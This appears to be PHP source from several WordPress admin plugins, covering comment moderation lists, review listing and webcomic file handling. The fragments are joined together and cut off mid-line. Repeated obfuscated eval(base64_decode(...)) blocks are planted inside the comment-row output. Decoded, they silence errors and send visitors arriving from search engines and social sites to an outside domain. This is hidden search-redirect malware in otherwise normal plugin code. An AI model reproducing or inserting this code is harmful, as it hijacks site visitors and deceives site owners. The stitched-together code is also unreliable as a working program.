eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo esc_attr($comment->comment_author_email); ?> </div> <div class="author"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo esc_attr($comment->comment_author); ?> </div> <div class="author-url"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo esc_attr($comment->comment_author_url); ?> </div> <div class="comment_status"><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); echo $comment->comment_approved; ?> </div> </div> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); } if ($user_can) { // preorder it: Approve | Reply | Quick Edit | Edit | Spam | Trash $actions = array('approve' => '', 'unapprove' => '', 'reply' => '', 'quickedit' => '', 'edit' => '', 'spam' => '', 'unspam' => '', 'trash' => '', 'untrash' => '', 'delete' => ''); if ($comment_status && 'all' != $comment_status) { // not looking at all comments if ('approved' == $the_comment_status) { $actions['unapprove'] = "<a href='{$unapprove_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&new=unapproved vim-u vim-destructive' title='" . esc_attr__('Unapprove this comment') . "'>" . __('Unapprove') . '</a>'; } else { if ('unapproved' == $the_comment_status) { $actions['approve'] = "<a href='{$approve_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}:e7e7d3:action=dim-comment&new=approved vim-a vim-destructive' title='" . esc_attr__('Approve this comment') . "'>" . __('Approve') . '</a>'; } } } else { $actions['approve'] = "<a href='{$approve_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved vim-a' title='" . esc_attr__('Approve this comment') . "'>" . __('Approve') . '</a>'; $actions['unapprove'] = "<a href='{$unapprove_url}' class='dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved vim-u' title='" . esc_attr__('Unapprove this comment') . "'>" . __('Unapprove') . '</a>'; } if ('spam' != $the_comment_status && 'trash' != $the_comment_status) { $actions['spam'] = "<a href='{$spam_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::spam=1 vim-s vim-destructive' title='" . esc_attr__('Mark this comment as spam') . "'>" . _x('Spam', 'verb') . '</a>'; } elseif ('spam' == $the_comment_status) { $actions['unspam'] = "<a href='{$untrash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}:66cc66:unspam=1 vim-z vim-destructive'>" . __('Not Spam') . '</a>'; } elseif ('trash' == $the_comment_status) { $actions['untrash'] = "<a href='{$untrash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}:66cc66:untrash=1 vim-z vim-destructive'>" . __('Restore') . '</a>'; } if ('spam' == $the_comment_status || 'trash' == $the_comment_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a href='{$delete_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::delete=1 delete vim-d vim-destructive'>" . __('Delete Permanently') . '</a>'; } else { $actions['trash'] = "<a href='{$trash_url}' class='delete:the-comment-list:comment-{$comment->comment_ID}::trash=1 delete vim-d vim-destructive' title='" . esc_attr__('Move this comment to the trash') . "'>" . _x('Trash', 'verb') . '</a>'; } if ('trash' != $the_comment_status) { $actions['edit'] = "<a href='comment.php?action=editcomment&c={$comment->comment_ID}' title='" . esc_attr__('Edit comment') . "'>" . __('Edit') . '</a>'; $actions['quickedit'] = '<a onclick="commentReply.open(\'' . $comment->comment_ID . '\',\'' . $post->ID . '\',\'edit\');return false;" class="vim-q" title="' . esc_attr__('Quick Edit') . '" href="#">' . __('Quick Edit') . '</a>'; if ('spam' != $the_comment_status) { $actions['reply'] = '<a onclick="commentReply.open(\'' . $comment->comment_ID . '\',\'' . $post->ID . '\');return false;" class="vim-r" title="' . esc_attr__('Reply to this comment') . '" href="#">' . __('Reply') . '</a>'; } } $actions = apply_filters('comment_row_actions', array_filter($actions), $comment); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; ('approve' == $action || 'unapprove' == $action) && 2 === $i || 1 === $i ? $sep = '' : ($sep = ' | '); // Reply and quickedit need a hide-if-no-js span when not added with ajax if (('reply' == $action || 'quickedit' == $action) && !$from_ajax) { $action .= ' hide-if-no-js'; } elseif ($action == 'untrash' && $the_comment_status == 'trash' || $action == 'unspam' && $the_comment_status == 'spam') { if ('1' == get_comment_meta($comment_id, '_wp_trash_meta_status', true)) { $action .= ' approve'; } else { $action .= ' unapprove'; } } echo "<span class='{$action}'>{$sep}{$link}</span>"; } echo '</div>'; } echo '</td>'; break; case 'author': echo "<td {$attributes}><strong>"; comment_author(); echo '</strong><br />'; if (!empty($author_url)) { echo "<a title='{$author_url}' href='{$author_url}'>{$author_url_display}</a><br />"; } if ($user_can) { if (!empty($comment->comment_author_email)) { comment_author_email_link(); echo '<br />'; } echo '<a href="edit-comments.php?s='; comment_author_IP(); echo '&mode=detail'; if ('spam' == $comment_status) { echo '&comment_status=spam'; } echo '">'; comment_author_IP(); echo '</a>'; } //current_user_can echo '</td>'; break; case 'date': echo "<td {$attributes}>" . get_comment_date(__('Y/m/d \\a\\t g:ia')) . '</td>'; break; case 'response': if ('single' !== $mode) { if (isset($_comment_pending_count[$post->ID])) { $pending_comments = absint($_comment_pending_count[$post->ID]); } else { $_comment_pending_count_temp = (array) get_pending_comments_num(array($post->ID)); $pending_comments = $_comment_pending_count[$post->ID] = $_comment_pending_count_temp[$post->ID]; } if ($user_can) { $post_link = "<a href='" . get_edit_post_link($post->ID) . "'>"; $post_link .= get_the_title($post->ID) . '</a>'; } else { $post_link = get_the_title($post->ID); } echo "<td {$attributes}>\n"; echo '<div class="response-links"><span class="post-com-count-wrapper">'; echo $post_link . '<br />'; $pending_phrase = esc_attr(sprintf(__('%s pending'), number_format($pending_comments))); if ($pending_comments) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>'); if ($pending_comments) { echo '</strong>'; } echo '</span> '; echo "<a href='" . get_permalink($post->ID) . "'>#</a>"; echo '</div>'; if ('attachment' == $post->post_type && ($thumb = wp_get_attachment_image($post->ID, array(80, 60), true))) { echo $thumb; } echo '</td>'; } break; default: echo "<td {$attributes}>\n"; do_action('manage_comments_custom_column', $column_name, $comment->comment_ID); echo "</td>\n"; break; } } echo "</tr>\n"; }
/** * Prepare reviews for display */ function prepare_items() { global $post_id, $comment_status, $search, $comment_type; // Prepare for querying reviews $meta_query = $meta_key = ''; $comment_status = isset($_REQUEST['comment_status']) ? $_REQUEST['comment_status'] : 'all'; if (!in_array($comment_status, array('all', 'moderated', 'approved', 'spam', 'trash'))) { $comment_status = 'all'; } $comment_type = !empty($_REQUEST['comment_type']) ? $_REQUEST['comment_type'] : ''; $search = isset($_REQUEST['s']) ? $_REQUEST['s'] : ''; $user_id = isset($_REQUEST['user_id']) ? $_REQUEST['user_id'] : ''; $orderby = isset($_REQUEST['orderby']) ? $_REQUEST['orderby'] : ''; $order = isset($_REQUEST['order']) ? $_REQUEST['order'] : ''; $comments_per_page = $this->get_per_page($comment_status); $doing_ajax = defined('DOING_AJAX') && DOING_AJAX; if (isset($_REQUEST['number'])) { $number = (int) $_REQUEST['number']; } else { $number = $comments_per_page + min(8, $comments_per_page); // Grab a few extra } $page = $this->get_pagenum(); if (isset($_REQUEST['start'])) { $start = $_REQUEST['start']; } else { $start = ($page - 1) * $comments_per_page; } if ($doing_ajax && isset($_REQUEST['offset'])) { $start += $_REQUEST['offset']; } $status_map = array('moderated' => 'hold', 'approved' => 'approve', 'all' => ''); $args = array('status' => isset($status_map[$comment_status]) ? $status_map[$comment_status] : $comment_status, 'search' => $search, 'user_id' => $user_id, 'offset' => $start, 'number' => $number, 'post_id' => $post_id, 'type' => $comment_type, 'orderby' => $orderby, 'order' => $order, 'meta_key' => $meta_key, 'meta_query' => $meta_query, 'post_type' => 'product'); $_comments = get_comments($args); update_comment_cache($_comments); $this->items = array_slice($_comments, 0, $comments_per_page); $this->extra_items = array_slice($_comments, $comments_per_page); $total_comments = get_comments(array_merge($args, array('count' => true, 'offset' => 0, 'number' => 0))); $_comment_post_ids = array(); foreach ($_comments as $_c) { $_comment_post_ids[] = $_c->comment_post_ID; } $_comment_post_ids = array_unique($_comment_post_ids); $this->pending_count = get_pending_comments_num($_comment_post_ids); $this->set_pagination_args(array('total_items' => $total_comments, 'per_page' => $comments_per_page)); }
private function output() { global $title, $parent_file, $wpdb; if ($this->post_id > 0) { $title = sprintf(__('Comments for %s', 'ktai_style'), wp_html_excerpt($this->get_post_title($this->post_id), 50)); $this->post_status = $wpdb->get_var($wpdb->prepare("SELECT post_status FROM {$wpdb->posts} WHERE ID = %d", $this->post_id)); } else { $title = __('Edit Comment'); $this->post_status = NULL; } $parent_file = 'edit-comments.php'; include dirname(__FILE__) . '/admin-header.php'; $mode = !isset($_GET['mode']) || empty($_GET['mode']) ? 'detail' : esc_attr($_GET['mode']); $comment_status = !empty($_GET['comment_status']) ? esc_attr($_GET['comment_status']) : ''; $comment_type = !empty($_GET['comment_type']) ? esc_attr($_GET['comment_type']) : ''; $search_dirty = isset($_GET['s']) ? $_GET['s'] : ''; $search = stripslashes($search_dirty); if ($search_dirty) { printf('<h2>' . __('Search results for “%s”', 'ktai_style') . '</h2>', esc_attr($search)); } if (isset($_GET['approved']) || isset($_GET['deleted']) || isset($_GET['trashed']) || isset($_GET['untrashed']) || isset($_GET['spammed']) || isset($_GET['unspammed'])) { $approved = isset($_GET['approved']) ? (int) $_GET['approved'] : 0; $deleted = isset($_GET['deleted']) ? (int) $_GET['deleted'] : 0; $trashed = isset($_GET['trashed']) ? (int) $_GET['trashed'] : 0; $untrashed = isset($_GET['untrashed']) ? (int) $_GET['untrashed'] : 0; $spammed = isset($_GET['spammed']) ? (int) $_GET['spammed'] : 0; $unspammed = isset($_GET['unspammed']) ? (int) $_GET['unspammed'] : 0; if ($approved > 0 || $deleted > 0 || $trashed > 0 || $untrashed > 0 || $spammed > 0 || $unspammed > 0) { echo '<p><font color="olive">'; if ($approved > 0) { printf(_n('%s comment approved.', '%s comments approved.', $approved, 'ktai_style'), $approved); echo '<br />'; } if ($spammed > 0) { printf(_n('%s comment marked as spam.', '%s comments marked as spam.', $spammed, 'ktai_style'), $spammed); if (isset($_GET['ids']) && function_exists('wp_unspam_comment')) { $undo_url = 'edit-comments.php?doaction=undo&action=unspam&ids=' . $_GET['ids']; $undo_url = wp_nonce_url($undo_url, 'bulk-comments'); // does html escape printf(' <a href="%s">%s</a><br />', $undo_url, __('Undo')); } } if ($unspammed > 0) { printf(_n('%s comment restored from the spam', '%s comments restored from the spam', $unspammed, 'ktai_style'), $unspammed); echo '<br />'; } if ($trashed > 0) { printf(_n('%s comment moved to the trash.', '%s comments moved to the trash.', $trashed, 'ktai_style'), $trashed); if (isset($_GET['ids']) && function_exists('wp_untrash_comment')) { $undo_url = 'edit-comments.php?doaction=undo&action=untrash&ids=' . $_GET['ids']; $undo_url = wp_nonce_url($undo_url, 'bulk-comments'); // does html escape printf('<a href="%s">%s</a><br />', $undo_url, __('Undo')); } } if ($untrashed > 0) { printf(_n('%s comment restored from the trash.', '%s comments restored from the trash.', $untrashed, 'ktai_style'), $untrashed); echo '<br />'; } if ($deleted > 0) { printf(_n('%s comment deleted.', '%s comments deleted.', $deleted, 'ktai_style'), $deleted); echo '<br />'; } echo '</font></p>'; } } if (!$this->base->admin_available_wp_upper()) { return; } if ($this->post_id > 0) { $num_comments = wp_count_comments($this->post_id); } else { $num_comments = wp_count_comments(); } $this->comments_stati($num_comments, $comment_status, $comment_type); $comments_per_page = intval(($this->base->get('page_size') - self::HEADER_FOOTER_SIZE) / (self::COMMENT_EXCERPT_SIZE + self::COMMENT_NAV_SIZE)); $comments_per_page = apply_filters('comments_per_page', $comments_per_page, $comment_status); if ($comments_per_page < 1) { $comments_per_page = 1; } elseif ($comments_per_page > self::COMMENTS_PER_PAGE) { $comments_per_page = self::COMMENTS_PER_PAGE; } if (isset($_GET['filter'])) { $page = 1; } else { $page = isset($_GET['apage']) ? abs((int) $_GET['apage']) : 1; } $start = $offset = ($page - 1) * $comments_per_page; list($_comments, $total) = _wp_get_comment_list($comment_status, $search_dirty, $start, $comments_per_page + 8, $this->post_id, $comment_type); // Grab a few extra $_comment_post_ids = array(); foreach ($_comments as $_c) { $_comment_post_ids[] = $_c->comment_post_ID; } $_comment_pending_count_temp = (array) get_pending_comments_num($_comment_post_ids); foreach ((array) $_comment_post_ids as $_cpid) { $_comment_pending_count[$_cpid] = isset($_comment_pending_count_temp[$_cpid]) ? $_comment_pending_count_temp[$_cpid] : 0; } if (empty($_comment_pending_count)) { $_comment_pending_count = array(); } $comments = array_slice($_comments, 0, $comments_per_page); $extra_comments = array_slice($_comments, $comments_per_page); $max_pages = ceil($total / $comments_per_page); $this->admin->nav_dropdown($page, $max_pages, 'apage'); ?> <form action="" method="get"><div> <?php $this->admin->sid_field(); _e('Search'); ?> <input type="text" name="ks" value="<?php echo esc_attr($search); ?> " size="20" /> <input type="hidden" name="mode" value="<?php echo $mode; ?> " /> <?php if ($this->post_id) { echo '<input type="hidden" name="p" value="' . intval($this->post_id) . '" />'; } if ($comment_status) { echo '<input type="hidden" name="comment_status" value="' . $comment_status . '" />'; } ?> <input type="hidden" name="pagegen_timestamp" value="<?php echo current_time('mysql', 1); ?> " /> <select name="comment_type"> <option value="all"><?php _e('All comment types', 'ktai_style'); ?> </option> <?php $comment_types = apply_filters('admin_comment_types_dropdown', array('comment' => __('Comments'), 'pings' => __('Pings', 'ktai_style'))); foreach ($comment_types as $type => $label) { echo '<option value="' . esc_attr($type) . '"'; selected($comment_type, $type); echo '>' . esc_attr($label) . '</option>'; } ?> </select> <input type="submit" name="filter" value="<?php _e('Filter'); ?> " /> <?php // do_action('manage_comments_nav', $comment_status); ?> </div> <?php if ($comments) { echo '<dl>'; foreach ($comments as $c) { $this->comment_list_item($c); echo '</dd>'; } echo '</dl>'; ?> <select name="action"> <option value="-1" selected="selected"><?php _e('Bulk Actions', 'ktai_style'); ?> </option><?php if (empty($comment_status) || 'approved' == $comment_status) { ?> <option value="unapprove"><?php _e('Unapprove'); ?> </option><?php } if (empty($comment_status) || 'unapproved' == $comment_status || 'moderated' == $comment_status || 'spam' == $comment_status) { ?> <option value="approve"><?php _e('Approve'); ?> </option><?php } if ('spam' != $comment_status) { ?> <option value="markspam"><?php _e('Mark as Spam', 'ktai_style'); ?> </option><?php } if ('trash' == $comment_status || 'spam' == $comment_status || !function_exists('wp_trash_comment') || !EMPTY_TRASH_DAYS) { ?> <option value="delete"><?php _e('Delete'); ?> </option><?php } else { ?> <option value="trash"><?php _e('Move to Trash'); ?> </option><?php } ?> </select> <input type="submit" name="doaction" value="<?php _e('Apply'); ?> " /><?php wp_nonce_field('bulk-comments'); if (('spam' == $comment_status || 'trash' == $comment_status) && current_user_can('moderate_comments')) { if ($this->base->check_wp_version('2.9')) { wp_nonce_field('bulk-destroy', '_destroy_nonce'); } else { wp_nonce_field('bulk-spam-delete', '_spam_nonce'); } if ('spam' == $comment_status) { ?> <input type="submit" name="delete_all" value="<?php _e('Empty Spam', 'ktai_style'); ?> " /><?php } else { ?> <input type="submit" name="delete_all" value="<?php _e('Empty Trash'); ?> " /><?php } } } elseif ('moderated' == $_GET['comment_status']) { ?> <p><?php _e('No comments awaiting moderation… yet.'); ?> </p><?php } else { ?> <p><?php _e('No results found.'); ?> </p><?php } ?> </form><?php $this->admin->nav_link($page, $max_pages, 'apage'); if ($this->post_id > 0 && preg_match('!/(edit|post)\\.php($|\\?)!', $referer = $this->admin->get_referer())) { echo '<div>' . sprintf(__('<a href="%s">Back to lists</a>', 'ktai_style'), $referer) . '</div>'; } }
public function start_el(&$output, $obj, $depth, $args) { global $current_user, $webcomic; static $i = 0; $webcomic->domain(); $post = get_post($obj->ID); $files = $webcomic->retrieve($post->ID, 'post', $args['src'], true); $alt = !($i % 2) ? ' class="alt"' : ''; $thide = in_array('thumbnails', $args['hidden']) ? ' style="display:none"' : ''; $phide = in_array('post', $args['hidden']) ? ' style="display:none"' : ''; $shide = in_array('storylines', $args['hidden']) ? ' style="display:none"' : ''; $chide = in_array('characters', $args['hidden']) ? ' style="display:none"' : ''; $mhide = in_array('comments', $args['hidden']) ? ' style="display:none"' : ''; $dhide = in_array('date', $args['hidden']) ? ' style="display:none"' : ''; $flist = $img = ''; if (!empty($files)) { $post_meta = current(get_post_meta($post->ID, 'webcomic')); $wc = current(wp_get_object_terms($post->ID, 'webcomic_collection')); foreach ($files['full'] as $k => $v) { $faction = ''; if (!empty($files['small'][$k])) { $file = $files['small'][$k]; } elseif (!empty($files['medium'][$k])) { $file = $files['medium'][$k]; } elseif (!empty($files['large'][$k])) { $file = $files['large'][$k]; } else { $file = $v; } $reg = in_array($files['full'][$k]['mime'], array('image/jpeg', 'image/gif', 'image/png')) ? '| <a href="' . wp_nonce_url($args['view'] . '&action=regen_webcomic_file&webcomic_key=' . $k . '&post=' . $post->ID, 'regen_webcomic_file') . '">' . __('Regenerate Thumbnails', 'webcomic') . '</a> | ' : ''; $bind = empty($post_meta['files']) ? '<a href="' . wp_nonce_url($args['view'] . '&action=bind_webcomic_file&post=' . $post->ID, 'bind_webcomic_file') . '">' . __('Bind', 'webcomic') . '</a> | ' : '<a href="' . wp_nonce_url($args['view'] . '&action=unbind_webcomic_file&webcomic_key=' . $k . '&post=' . $post->ID, 'bind_webcomic_file') . '">' . __('Unbind', 'webcomic') . '</a> | '; $faction = current_user_can('edit_others_posts') || $current_user->ID == $post->post_author ? '<a href="' . admin_url('admin.php?page=webcomic_tools&subpage=edit_files&type=post&src=' . $wc->slug . '&id=' . $post->ID . '&key=' . $k) . '">' . __('Edit', 'webcomic') . '</a>' . $reg . $bind . '<span class="delete"><a href="' . wp_nonce_url($args['view'] . '&action=delete_webcomic_file&webcomic_key=' . $k . '&post=' . $post->ID, 'delete_webcomic_file') . '" onclick="if(confirm(\'' . esc_js(sprintf(__("You are about to delete '%s'\n 'Cancel' to stop, 'OK' to delete.", "webcomic"), $files['full'][$k]['basename'])) . '\')){return true;}return false;">' . __('Delete', 'webcomic') . '</a> | </span><span class="view"><a href="' . 